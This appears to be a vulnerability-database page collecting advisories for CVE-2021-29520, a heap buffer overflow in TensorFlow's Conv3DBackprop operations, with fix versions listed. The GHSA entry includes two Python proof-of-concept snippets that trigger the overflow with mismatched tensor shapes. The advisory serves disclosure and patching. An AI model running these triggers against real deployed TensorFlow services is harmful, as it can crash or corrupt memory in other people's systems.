Most recent entries from all

BIT-tensorflow-2021-29520 — Heap buffer overflow in `Conv3DBackprop*`

Affected: Bitnami: tensorflow

TensorFlow is an end-to-end open source platform for machine learning. Missing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153) assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

cnvd-2021-46660

EUVD-2026-26379

fkie_cve-2021-29520

GHSA-wcv5-qrj6-9pfm — Heap buffer overflow in `Conv3DBackprop*`

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu

### Impact Missing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows:

```python import tensorflow as tf

input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32) filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32) out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ``` ```python import tensorflow as tf

input_values = [-10.0] * (7 * 7 * 7 * 7 * 7) input_values[0] = 429.6491056791816 input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32) filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32) out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ```

This is because the [implementation](https://github.com/tensorflow/tensorflow/bl…

gsd-2021-29520

PYSEC-2021-157

Affected: PyPI: tensorflow